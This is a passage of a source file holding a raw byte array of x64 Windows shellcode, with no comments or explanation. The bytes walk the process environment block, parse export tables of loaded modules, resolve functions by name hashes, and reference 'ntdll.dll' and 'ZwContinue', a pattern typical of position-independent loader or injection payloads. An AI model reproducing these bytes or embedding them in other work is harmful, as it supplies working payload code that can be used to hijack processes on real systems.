0x0f,0x47,0xd1,0x49,0xff,0xc1,0x33,0xd7,0x69,0xfa,0x93,0x01,0x00,0x01,0x84,0xdb,0x75,0xdd,0x81,0xff,0x60,0x76,0xcc,0x50,0x74,0x0a,0x45,0x85,0xdb,0x75,0xb3,0x48,0x8b,0x00,0xeb,0x89,0x41,0x8b,0x52,0x24,0x48,0x8b,0xcd,0x49,0x03,0xd0,0x46,0x0f,0xb7,0x0c,0x5a,0x41,0x8b,0x52,0x1c,0x49,0x03,0xd0,0x42,0x8b,0x04,0x8a,0x4c,0x8d,0x4c,0x24,0x40,0x48,0x8b,0x15,0x33,0x00,0x00,0x00,0x49,0x03,0xc0,0x41,0xb8,0x01,
0x00,0x00,0x00,0xff,0xd0,0xe9,0x27,0xff,0xff,0xff,0x33,0xc0,0x48,0x8b,0x5c,0x24,0x48,0x48,0x8b,0x6c,0x24,0x50,0x48,0x8b,0x74,0x24,0x58,0x48,0x83,0xc4,0x20,0x41,0x5f,0x41,0x5e,0x5f,0xc3,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8b,0xc4,0x48,0x89,0x58,0x08,0x48,0x89,0x68,0x10,0x48,0x89,0x70,0x18,0x48,0x89,0x78,0x20,0x41,0x54,0x41,0x56,0x41,0x57,0x48,0x83,
0xec,0x20,0x48,0x8b,0x05,0x97,0x01,0x00,0x00,0x40,0x8a,0xea,0x4c,0x8b,0xf9,0x48,0x85,0xc0,0x0f,0x85,0x61,0x01,0x00,0x00,0x65,0x48,0x8b,0x04,0x25,0x60,0x00,0x00,0x00,0x48,0x8b,0x40,0x18,0x48,0x8b,0x40,0x10,0x4c,0x8b,0x40,0x30,0x49,0x63,0x48,0x3c,0x46,0x8b,0x9c,0x01,0x88,0x00,0x00,0x00,0x4d,0x03,0xd8,0x4d,0x3b,0xd8,0x74,0x5a,0x45,0x8b,0x53,0x18,0x45,0x85,0xd2,0x74,0x51,0x45,0x8b,0x73,0x20,0x41,0xff,
0xca,0xbf,0xec,0xaf,0x48,0x42,0x4b,0x8d,0x0c,0x96,0x46,0x8b,0x0c,0x01,0x4d,0x03,0xc8,0x41,0x8a,0x19,0x49,0xff,0xc1,0x84,0xdb,0x74,0x2b,0x0f,0xbe,0xcb,0x80,0xeb,0x41,0x8b,0xd1,0x83,0xca,0x20,0x80,0xfb,0x19,0x41,0x8a,0x19,0x0f,0x47,0xd1,0x49,0xff,0xc1,0x33,0xd7,0x69,0xfa,0x93,0x01,0x00,0x01,0x84,0xdb,0x75,0xdd,0x81,0xff,0x13,0xce,0xbe,0x47,0x74,0x0a,0x45,0x85,0xd2,0x75,0xb3,0x48,0x8b,0x00,0xeb,0x89,
0x41,0x8b,0x4b,0x24,0x49,0x03,0xc8,0x42,0x0f,0xb7,0x14,0x51,0x41,0x8b,0x4b,0x1c,0x49,0x03,0xc8,0x8b,0x04,0x91,0x48,0x8d,0x0d,0xeb,0x00,0x00,0x00,0x49,0x03,0xc0,0xff,0xd0,0x4c,0x8b,0xe0,0x65,0x48,0x8b,0x04,0x25,0x60,0x00,0x00,0x00,0x48,0x8b,0x40,0x18,0x48,0x8b,0x40,0x10,0x4c,0x8b,0x40,0x30,0x49,0x63,0x48,0x3c,0x46,0x8b,0x8c,0x01,0x88,0x00,0x00,0x00,0x4d,0x03,0xc8,0x4d,0x3b,0xc8,0x74,0x5a,0x45,0x8b,
0x51,0x18,0x45,0x85,0xd2,0x74,0x51,0x45,0x8b,0x71,0x20,0x41,0xff,0xca,0xbf,0x62,0xf6,0x4a,0x47,0x4b,0x8d,0x0c,0x96,0x46,0x8b,0x1c,0x01,0x4d,0x03,0xd8,0x41,0x8a,0x1b,0x49,0xff,0xc3,0x84,0xdb,0x74,0x2b,0x0f,0xbe,0xcb,0x80,0xeb,0x41,0x8b,0xd1,0x83,0xca,0x20,0x80,0xfb,0x19,0x41,0x8a,0x1b,0x0f,0x47,0xd1,0x49,0xff,0xc3,0x33,0xd7,0x69,0xfa,0x93,0x01,0x00,0x01,0x84,0xdb,0x75,0xdd,0x81,0xff,0x0a,0x82,0xbf,
0xc4,0x74,0x0a,0x45,0x85,0xd2,0x75,0xb3,0x48,0x8b,0x00,0xeb,0x89,0x41,0x8b,0x49,0x24,0x49,0x03,0xc8,0x42,0x0f,0xb7,0x14,0x51,0x41,0x8b,0x49,0x1c,0x49,0x03,0xc8,0x8b,0x04,0x91,0x48,0x8d,0x15,0x52,0x00,0x00,0x00,0x49,0x03,0xc0,0x49,0x8b,0xcc,0xff,0xd0,0x48,0x89,0x05,0x27,0x00,0x00,0x00,0x40,0x8a,0xd5,0x49,0x8b,0xcf,0x48,0x8b,0x5c,0x24,0x40,0x48,0x8b,0x6c,0x24,0x48,0x48,0x8b,0x74,0x24,0x50,0x48,0x8b,
0x7c,0x24,0x58,0x48,0x83,0xc4,0x20,0x41,0x5f,0x41,0x5e,0x41,0x5c,0x48,0xff,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x6e,0x00,0x74,0x00,0x64,0x00,0x6c,0x00,0x6c,0x00,0x2e,0x00,0x64,0x00,0x6c,0x00,0x6c,0x00,0x00,0x00,0x5a,0x77,0x43,0x6f,0x6e,0x74,0x69,0x6e,0x75,0x65,0x00, };
};